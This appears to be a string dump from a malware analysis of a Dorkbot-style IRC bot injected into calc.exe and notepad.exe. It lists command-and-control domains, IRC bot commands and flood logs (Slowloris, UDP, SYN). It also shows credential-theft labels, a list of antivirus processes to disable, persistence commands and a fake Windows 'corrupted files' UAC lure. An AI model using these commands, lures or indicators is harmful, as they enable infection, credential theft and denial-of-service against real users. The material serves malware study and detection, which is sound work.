%d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%System%\calc.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\system32\calc.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>calc.exe_1752_rwx_00A00000_0009C000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>PSSSSSSh</pre><pre>PSSVSSh</pre><pre>RPVSSh</pre><pre>PSSh(</pre><pre>PSSh#</pre><pre>PSSh'</pre><pre>PSSh&</pre><pre>PSSh*</pre><pre>9p.uV</pre><pre>Opera/9.00 (Windows NT 5.1; U; en)</pre><pre>Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)</pre><pre>Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0)</pre><pre>Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)</pre><pre>Opera 9.4 (Windows NT 6.1; U; en)</pre><pre>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)</pre><pre>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; NeosBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)</pre><pre>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.2</pre><pre>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8</pre><pre>Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11</pre><pre>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)</pre><pre>Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50726)</pre><pre>SbieDll.dll</pre><pre>Software\Classes\CLSID\%s\X</pre><pre>Software\Classes\CLSID\%s\X\%s</pre><pre>0xX</pre><pre>SB:0xX</pre><pre>G:%s_0xX_%c:%s_v1$</pre><pre>Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u</pre><pre>IEXPLORE.EXE</pre><pre>IE.HTTP</pre><pre>SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice</pre><pre>IE.HTTPS</pre><pre>SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice</pre><pre>IE.AssocFile.HTM</pre><pre>HTTP\shell\open\command</pre><pre>Software\Microsoft\Windows\CurrentVersion\Ext\Settings\%s</pre><pre>Psapi.dll</pre><pre>%s\%s</pre><pre>Software\Adobe\Acrobat Reader\%s\Privileged</pre><pre>mscoree.dll</pre><pre>HARDWARE\DESCRIPTION\System\CentralProcessor\%u</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion</pre><pre>nspr4.dll</pre><pre>nss3.dll</pre><pre>Urlmon.dll</pre><pre>URLDownloadToFileW</pre><pre>Netapi32.dll</pre><pre>76487-640-1457236-23837</pre><pre>76487-337-8429955-22614</pre><pre>76487-644-3177037-23510</pre><pre>76497-640-6308873-23835</pre><pre>55274-640-2673064-23950</pre><pre>76487-640-8834005-23195</pre><pre>76487-640-0716662-23535</pre><pre>76487-644-8648466-23106</pre><pre>00426-293-8170032-85146</pre><pre>76487-341-5883812-22420</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsBackup</pre><pre>{8E5E2654-AD2D-48BF-AC2D-D17F00898D06}</pre><pre>snxhk.dll</pre><pre>comctl32.dll</pre><pre>ZwSetValueKey</pre><pre>ZwDeleteValueKey</pre><pre>SOFTWARE\%s</pre><pre>update.microsoft.com</pre><pre>microsoft.com</pre><pre>windowsupdate.microsoft.com</pre><pre>JOIN</pre><pre>PRIVMSG</pre><pre>.rdata</pre><pre>cmd_option.%s</pre><pre>/c %s</pre><pre>cmd.exe</pre><pre>msvcrt.dll</pre><pre>--x-x-x-xx</pre><pre>Content-Type: multipart/form-data; boundary=x-x-x-xx</pre><pre>Content-Disposition: multipart/form-data; name="newfile"; filename="%d.jpeg"</pre><pre>%s?action=up&g=%s</pre><pre>xul.dll</pre><pre><Port></Port></pre><pre><Pass></Pass></pre><pre>Content-Type: application/x-www-form-urlencoded</pre><pre>HTTP/1.1</pre><pre>?pid=%d</pre><pre>?page=%d</pre><pre>?id=%u</pre><pre>%s=%u&%s=%s</pre><pre>%s=%s&%s=%u</pre><pre>&%s=%s</pre><pre>&%s%u=</pre><pre>&%s%hu=</pre><pre>&%s=_%u</pre><pre>%d|%s|%s|%s</pre><pre>.info</pre><pre>httpget</pre><pre>GET /%s HTTP/1.1</pre><pre>Host: %s</pre><pre>Content-Length: %d</pre><pre>Accept: %s</pre><pre>Accept-Language: %s</pre><pre>Accept-Charset: %s</pre><pre>Accept-Encoding: %s</pre><pre>User-Agent: %s</pre><pre>Referer: %s</pre><pre>Connection: %s</pre><pre>http://</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>tbb-firefox.exe</pre><pre>%s:%hu</pre><pre>windowsupdate</pre><pre>SSH2_MSG_KEXINIT</pre><pre>SSH2_MSG_DISCONNECT</pre><pre>SSH2_MSG_USERAUTH_SUCCESS</pre><pre>http://%s%s/image.php?id=%s</pre><pre>TaskDialogIndirect</pre><pre>http://answers.microsoft.com/en-us/windows/forum/windows_vista-windows_programs/corrupted-documents-folder/e2a7660f-8eea-4f27-b2e6-e77a0f0c1535</pre><pre>ÐxX</pre><pre>ntdll.dll</pre><pre>kernel32.dll</pre><pre>secur32.dll</pre><pre>crypt32.dll</pre><pre>user32.dll</pre><pre>advapi32.dll</pre><pre>wininet.dll</pre><pre>shell32.dll</pre><pre>shlwapi.dll</pre><pre>ole32.dll</pre><pre>version.dll</pre><pre>sfc.dll</pre><pre>dnsapi.dll</pre><pre>ws2_32.dll</pre><pre><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></pre><pre><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity></pre><pre>8"808]9|9</pre><pre>9%9 919<9</pre><pre>=(=/=6==={=</pre><pre>4 4?4^4}4</pre><pre>6o6g6r6w6</pre><pre>9 9$9(90949</pre><pre>SSh\LA</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>Invalid parameter passed to C runtime function.</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>GetKeyNameTextW</pre><pre>ExitWindowsEx</pre><pre>GetAsyncKeyState</pre><pre>USER32.dll</pre><pre>GDI32.dll</pre><pre>SHLWAPI.dll</pre><pre>GetProcessHeap</pre><pre>GetCPInfo</pre><pre>KERNEL32.dll</pre><pre>zcÁ</pre><pre>RvKS.iu</pre><pre>z=~{%U</pre><pre>'t9P^%Um</pre><pre>ur$%C</pre><pre>Jn~{%d</pre><pre>4 ^%6SH></pre><pre>.IrZ<</pre><pre>b43m.kx</pre><pre>.fps~</pre><pre>2(8=.gCW</pre><pre>Á1Lj</pre><pre>.yNH></pre><pre>Software\Classes\CLSID\%S</pre><pre>G:%S_0xX</pre><pre>chrome.exe</pre><pre>opera.exe</pre><pre>safari.exe</pre><pre>maxthon.exe</pre><pre>:Mozilla\Firefox\Profiles</pre><pre>cookies.sqlite</pre><pre>%s\winsxs\x86_microsoft.windows.common-controls_*6.0.*_*</pre><pre>%s\winsxs\%s\comctl32.dll</pre><pre>SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\%s</pre><pre>%s:*:Enabled</pre><pre>avcuf32.dll</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><pre>prstrui.exe</pre><pre>Windows Defender</pre><pre>MpClient.dll</pre><pre>Windows Defender\MSASCui.exe</pre><pre>MpSvc.dll</pre><pre>msseces.exe</pre><pre>MsMpEng.exe</pre><pre>MSASCui.exe</pre><pre>MpAsDesc.dll</pre><pre>MsMpLics.dll</pre><pre>avgui.exe</pre><pre>avgidsagent.exe</pre><pre>avgwdsvc.exe</pre><pre>avgdiagex.exe</pre><pre>avgmfapx.exe</pre><pre>avgupd.exe</pre><pre>avgcfgex.exe</pre><pre>avgnt.exe</pre><pre>avguard.exe</pre><pre>avshadow.exe</pre><pre>avcenter.exe</pre><pre>update.dll</pre><pre>updaterc.dll</pre><pre>usrreq.exe</pre><pre>ccsvchst.exe</pre><pre>symerr.exe</pre><pre>NIS.exe</pre><pre>NAV.exe</pre><pre>navw32.exe</pre><pre>avastui.exe</pre><pre>AvastEmUpdate.exe</pre><pre>ashUpd.exe</pre><pre>WRSA.exe</pre><pre>zatray.exe</pre><pre>ForceField.exe</pre><pre>updating.dll</pre><pre>fshoster32.exe</pre><pre>fsaua.dll</pre><pre>PSUNMain.exe</pre><pre>PSUAService.exe</pre><pre>PSANHost.exe</pre><pre>PSUNScan.dll</pre><pre>epavjobs.exe</pre><pre>AVENGINE.exe</pre><pre>Upgrader.exe</pre><pre>adaware.exe</pre><pre>BullGuard.exe.manifest</pre><pre>BullGuardUpdate.exe</pre><pre>BullGuard.exe</pre><pre>BullGuardScanner.exe</pre><pre>BullGuardBhvScanner.exe</pre><pre>BullGuardUpdate2.exe</pre><pre>BgScan.exe</pre><pre>BgScanEngine.dll</pre><pre>.manifest</pre><pre>updater.exe</pre><pre>Backup\RSD\RSSetup\updater.exe</pre><pre>RsTray.exe</pre><pre>RavMonD.exe</pre><pre>RsMgrSvc.exe</pre><pre>rsmain.exe</pre><pre>RsScan.dll</pre><pre>RsTray.dll</pre><pre>mbamgui.exe</pre><pre>mbam.exe</pre><pre>pctsGui.exe</pre><pre>pctsAuxs.exe</pre><pre>pctsSvc.exe</pre><pre>Update.exe</pre><pre>UpdateHlpr.dll</pre><pre>Definitions\vcore.dll</pre><pre>sbamui.exe</pre><pre>SBAMTray.exe</pre><pre>updater_client_mod.dll</pre><pre>FProtTray.exe</pre><pre>FPWin.exe</pre><pre>scf.dat</pre><pre>ALUpdate.exe</pre><pre>update_tmp.exe</pre><pre>arcaclean.exe</pre><pre>BavUpdater.exe</pre><pre>rcfp.exe</pre><pre>CLPSLA.exe</pre><pre>op_mon.exe</pre><pre>niu.exe</pre><pre>K7TSUpdT.exe</pre><pre>sguardxup.exe</pre><pre>ccupdate.exe</pre><pre>caupdate.dll</pre><pre>a2guard.exe</pre><pre>a2start.exe</pre><pre>a2service.exe</pre><pre>AVKTray.exe</pre><pre>GDSC.exe</pre><pre>AVK.exe</pre><pre>GDFirewallTray.exe</pre><pre>Bka.exe</pre><pre>BLuPro.exe</pre><pre>BkavSystemServer.exe</pre><pre>BkavService.exe</pre><pre>LiveUpdate.dll</pre><pre>LiveConnect.dll</pre><pre>BaseFile\Bkav\LiveUpdate.dll</pre><pre>V3Lite.exe</pre><pre>ASDSvc.exe</pre><pre>autoup.exe</pre><pre>downloader.exe</pre><pre>%s.config</pre><pre>updatesrv.exe</pre><pre>updatemgr.dll</pre><pre>egui.exe</pre><pre>ekrn.exe</pre><pre>x86\ekrn.exe</pre><pre>uWinMgr.exe</pre><pre>coreServiceShell.exe</pre><pre>uiSeAgnt.exe</pre><pre>uiWatchDog.exe</pre><pre>plugins\plugUpdater.dll</pre><pre>UiFrmwrk\uiUpdateTray.exe</pre><pre>coreFrameworkHost.exe</pre><pre>mcagent.exe</pre><pre>McSvHost.exe</pre><pre>McUICnt.exe</pre><pre>McPvTray.exe</pre><pre>mcui_exe</pre><pre>mcpltui_exe</pre><pre>mcshell.exe</pre><pre>mcupdmgr.exe</pre><pre>mcupdate.exe</pre><pre>mcshield.exe</pre><pre>mcupdui.dll</pre><pre>McAPExe.exe</pre><pre>.config</pre><pre>Image File Execution Options\%s</pre><pre>SYSTEM\CurrentControlSet\services\%s</pre><pre>%c:\ntusbdriver.sys</pre><pre>%c:\*p.exe</pre><pre>%c:\%s</pre><pre>p.exe</pre><pre>%WinDir%\explorer.exe</pre><pre>/C start /d. %s&"%s"</pre><pre>%COMSPEC%</pre><pre>%WinDir%\system32\shell32.dll</pre><pre>%c:\%s.lnk</pre><pre>VisthAux.exe</pre><pre>explorer.exe</pre><pre>t.minecraft</pre><pre>Works! PID: %d, Name: %s</pre><pre>cmdvirth</pre><pre>%s%s\X</pre><pre>tcp://</pre><pre>svchost.exe</pre><pre>csrss.exe</pre><pre>lsass.exe</pre><pre>smss.exe</pre><pre>wscript.exe</pre><pre>cscript.exe</pre><pre>vbc.exe</pre><pre>rundll32.exe</pre><pre>regsvr32.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</pre><pre>winlogon.exe</pre><pre>services.exe</pre><pre>%s\x.lnk</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s</pre><pre>desktop.ini</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows</pre><pre>wintrust.dll</pre><pre>chrome.dll</pre><pre>Applications\iexplore.exe\shell\open\command</pre><pre>%s_xx</pre><pre>x.zip</pre><pre>Navw32.exe</pre><pre>SysInspector.exe</pre><pre>avscan.exe</pre><pre>mfefire.exe</pre><pre>wuauclt.exe</pre><pre>WerFault.exe</pre><pre>lFileZilla\sitemanager.xml</pre><pre>port</pre><pre>Sites.dat</pre><pre>Quick.dat</pre><pre>%s\3\%s</pre><pre>%s\4\%s</pre><pre>spoolsv.exe</pre><pre>steam.exe</pre><pre>skype.exe</pre><pre>origin.exe</pre><pre>dwm.exe</pre><pre>tapi3.dll</pre><pre>/C copy "%s" "%s"</pre><pre>SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run</pre><pre>Windows Update Service</pre><pre>"%s" /%s</pre><pre>Software\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>/CREATE /SC ONLOGON /TN "Windows Update Check - 0xX" /TR "%s" /RL HIGHEST</pre><pre>schtasks.exe</pre><pre>/DELETE /TN "Windows Update Check - 0xX" /F</pre><pre>\Windows\Explorer.exe</pre><pre>Low_X</pre><pre>%s.manifest</pre><pre>PendingFileRenameOperations</pre><pre>%s\X</pre><pre>Windows\CurrentVersion\Run</pre><pre>CurrentVersion\Windows</pre><pre>Windows NT\CurrentVersion\Image File Execution Options\%s</pre><pre>Windows has encountered a corrupted folder on your hard drive</pre><pre>Multiple corrupted files have been found in the folder 'My Documents'. To prevent serious loss of data, please allow Windows to restore these files.</pre><pre>Corrupted folder: %s</pre><pre>Corrupted file count: %d</pre><pre><a href=".ms">%s</a></pre><pre>/c start "" "%s" /%s "%s"</pre><pre>shell32,ShellExec_RunDLL "%s" /%s "%s"</pre><pre>You denied the proper privileges to the Windows file restoration utility. Please select YES on the following UAC prompt to allow Windows to restore the corrupted files.</pre><pre>Windows 3.1 Update Service</pre><pre>%s:Zone.Identifier</pre><pre>%s\X.pif</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>%Documents and Settings%\All Users\Application Data</pre><pre>%Documents and Settings%\%current user%\My Documents\My Pictures</pre><pre>%Documents and Settings%\%current user%\My Documents\My Music</pre><pre>%Documents and Settings%\%current user%\My Documents\My Videos</pre><pre>%Program Files%</pre><pre>%WinDir%\winsxs\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.0.0_x-ww_1382d70a\comctl32.dll</pre><pre>%WinDir%\explorer.exe</pre><pre>s\"%CurrentUserName%"\Local Settings\Temp\bett.exe</pre><pre>%Program Files%\Common Files\CreativeAudio\ezztxopie.exe</pre><pre>%Documents and Settings%\%current user%\0E7302EC.pif</pre><pre>%Program Files%\Common Files\CreativeAudio</pre><pre>bett.exe</pre><pre>%Documents and Settings%\%current user%\Low_00FEC012</pre><pre>ezztxopie.exe</pre><pre>0E7302EC.pif</pre><pre>KERNEL32.DLL</pre><pre>KERNELBASE.DLL</pre><pre>kernelbase.dll</pre><pre>5.42.37.0</pre><pre>Passage</pre><pre>Passage.exe</pre><b>notepad.exe_304:</b><pre>.text</pre><pre>`.data</pre><pre>.rsrc</pre><pre>comdlg32.dll</pre><pre>SHELL32.dll</pre><pre>WINSPOOL.DRV</pre><pre>COMCTL32.dll</pre><pre>msvcrt.dll</pre><pre>ADVAPI32.dll</pre><pre>KERNEL32.dll</pre><pre>NTDLL.DLL</pre><pre>GDI32.dll</pre><pre>USER32.dll</pre><pre>notepad.chm</pre><pre>hhctrl.ocx</pre><pre>CLSID\{ADB880A6-D8FF-11CF-9377-00AA003B7A11}\InprocServer32</pre><pre>notepad.pdb</pre><pre>t%SSh</pre><pre>_acmdln</pre><pre>RegCloseKey</pre><pre>RegCreateKeyW</pre><pre>RegOpenKeyExA</pre><pre>SetViewportExtEx</pre><pre>GetKeyboardLayout</pre><pre>name="Microsoft.Windows.Shell.notepad"</pre><pre>version="5.1.0.0"</pre><pre><description>Windows Shell</description></pre><pre>name="Microsoft.Windows.Common-Controls"</pre><pre>version="6.0.0.0"</pre><pre>publicKeyToken="6595b64144ccf1df"</pre><pre>&*$#$$#$*</pre><pre>MMMrMMM`MMMRMMMFMMM:MMM.MMM"MMM</pre><pre>*.txt</pre><pre>/.SETUP</pre><pre>5.1.2600.5512 (xpsp.080413-2105)</pre><pre>NOTEPAD.EXE</pre><pre>Windows</pre><pre>Operating System</pre><pre>5.1.2600.5512</pre><pre>notepad.hlp</pre><pre>Text Documents (*.txt)</pre><pre>You cannot quit Windows because the Save As dialog</pre><pre>dialog box, and then try quitting Windows again.</pre><pre>Common Dialog error (0xx)</pre><pre>Not enough memory available to complete this operation. Quit one or more applications to increase available memory, and then try again.KThe %% file is too large for Notepad.</pre><pre>Not a valid file name.MCannot create the %% file.</pre><pre>Make sure that the path and filename are correct.RCannot carry out the Word Wrap command because there is too much text in the file.</pre><pre>Page %d</pre><pre>Ln %d, Col %d</pre><b>notepad.exe_304_rwx_000A0000_00029000:</b><pre>.text</pre><pre>`.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>*windows defender*</pre><pre>*windowsupdate*</pre><pre>*drweb*</pre><pre>dwwin.exe</pre><pre>kernel32.dll</pre><pre>iphlpapi.dll</pre><pre>GetExtendedTcpTable</pre><pre>GetOwnerModuleFromTcpEntry</pre><pre>%systemroot%</pre><pre>%programfiles%\Common Files\*\*.exe</pre><pre>%appdata%\Identities\*.exe</pre><pre>%root%\RECYCLER\S-1-5-21-0243556031-888888379-*\*.exe</pre><pre>ole32.dll</pre><pre>/c "%%SystemRoot%%\explorer.exe %Í%%%s & attrib -s -h %Í%%%s & xcopy /F /S /Q /H /R /Y %Í%%%s %%temp%%\%s\ & attrib s h %Í%%%s & start %%temp%%\%s\%s & exit"</pre><pre>/c "start %Í%%%s & attrib -s -h %Í%%%s & xcopy /F /S /Q /H /R /Y %Í%%%s %%temp%%\%s\ & attrib s h %Í%%%s & start %%temp%%\%s\%s & exit"</pre><pre>%ALLUSERSPROFILE%\..\..\windows\system32\cmd.exe</pre><pre>%SystemRoot%\system32\SHELL32.dll</pre><pre>%s\c731200</pre><pre>%s\%s</pre><pre>%s\%s.lnk</pre><pre>Windows_Shared_Mutex_231_c000100</pre><pre>ntdll.dll</pre><pre>\ScreenSaverPro.scr</pre><pre>\temp.bin</pre><pre>user32.dll</pre><pre>advapi32.dll</pre><pre>shell32.dll</pre><pre>urlmon.dll</pre><pre>wininet.dll</pre><pre>gdi32.dll</pre><pre>rpcrt4.dll</pre><pre>netapi32.dll</pre><pre>*.exe</pre><pre>.gonewiththewings</pre><pre>*.gonewiththewings</pre><pre>WinExec</pre><pre>URLDownloadToFileA</pre><pre>http://www.google.com</pre><pre>\calc.exe</pre><pre>\Reader_sl.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><pre>notepad.exe</pre><pre>\notepad.exe</pre><pre>\svchost.exe</pre><pre>WindowsId</pre><pre>Identities\%s</pre><pre>%s\%s\%s.exe</pre><pre>:Zone.Identifier</pre><pre>.quarantined</pre><pre>"%s" -shell</pre><pre>"%s" -bind</pre><pre>userinit.exe</pre><pre>explorer.exe</pre><pre>Windows critical error, require reboot</pre><pre>Windows Update</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>a.aiphon1egalaxyblack42.com</pre><pre>a.ajjjqws1fkxx42.com</pre><pre>a.adoyou1understandme42.com</pre><pre>a.amous1epadsafa42.com</pre><pre>a.acaraka1lagroup42.com</pre><pre>a.aire1bobohayawen42.com</pre><pre>a.ajhvdqw1ladies42.com</pre><pre>a.biphon2egalaxyblack42.com</pre><pre>a.bmous2epadsafa42.com</pre><pre>a.bcaraka2lagroup42.com</pre><pre>a.anabok1hasn1aser42.com</pre><pre>a.athemall1gonowhaha42.com</pre><pre>a.bdoyou2understandme42.com</pre><pre>a.bnabok2hasn1aser42.com</pre><pre>a.bjjjqws2fkxx42.com</pre><pre>a.bjhvdqw2ladies42.com</pre><pre>a.bthemall2gonowhaha42.com</pre><pre>a.bire2bobohayawen42.com</pre><pre>a.cdoyou3understandme42.com</pre><pre>a.cmous3epadsafa42.com</pre><pre>a.dmous4epadsafa42.com</pre><pre>a.ciphon3egalaxyblack42.com</pre><pre>a.cnabok3hasn1aser42.com</pre><pre>a.cire3bobohayawen42.com</pre><pre>a.cthemall3gonowhaha42.com</pre><pre>a.cjhvdqw3ladies42.com</pre><pre>a.cjjjqws3fkxx42.com</pre><pre>a.ccaraka3lagroup42.com</pre><pre>a.diphon4egalaxyblack42.com</pre><pre>a.ddoyou4understandme42.com</pre><pre>a.dnabok4hasn1aser42.com</pre><pre>a.dire4bobohayawen42.com</pre><pre>a.djjjqws4fkxx42.com</pre><pre>a.djhvdqw4ladies42.com</pre><pre>a.dthemall4gonowhaha42.com</pre><pre>a.edoyou5understandme42.com</pre><pre>a.dcaraka4lagroup42.com</pre><pre>a.emous5epadsafa42.com</pre><pre>a.ecaraka5lagroup42.com</pre><pre>a.eiphon5egalaxyblack42.com</pre><pre>a.enabok5hasn1aser42.com</pre><pre>a.eire5bobohayawen42.com</pre><pre>a.ejjjqws5fkxx42.com</pre><pre>a.ejhvdqw5ladies42.com</pre><pre>a.ethemall5gonowhaha42.com</pre><pre>a.roooggeyyy2.com</pre><pre>a.roooggeyyy3.com</pre><pre>a.roooggeyyy4.com</pre><pre>a.so1aa00.com</pre><pre>a.saao20000.com</pre><pre>GetProcessHeap</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegOpenKeyA</pre><pre>RegEnumKeyA</pre><pre>RegCreateKeyExA</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ShellExecuteExW</pre><pre>SHELL32.dll</pre><pre>SetTcpEntry</pre><pre>SHLWAPI.dll</pre><pre>RPCRT4.dll</pre><pre>NETAPI32.dll</pre><pre>DNSAPI.dll</pre><pre>Software\Microsoft\Windows NT\CurrentVersion\Winlogon</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</pre><pre>Software\WindowsId Manager Reader</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\Explorer</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>Software\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>WindowsMark</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>%System%\notepad.exe</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0A</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked 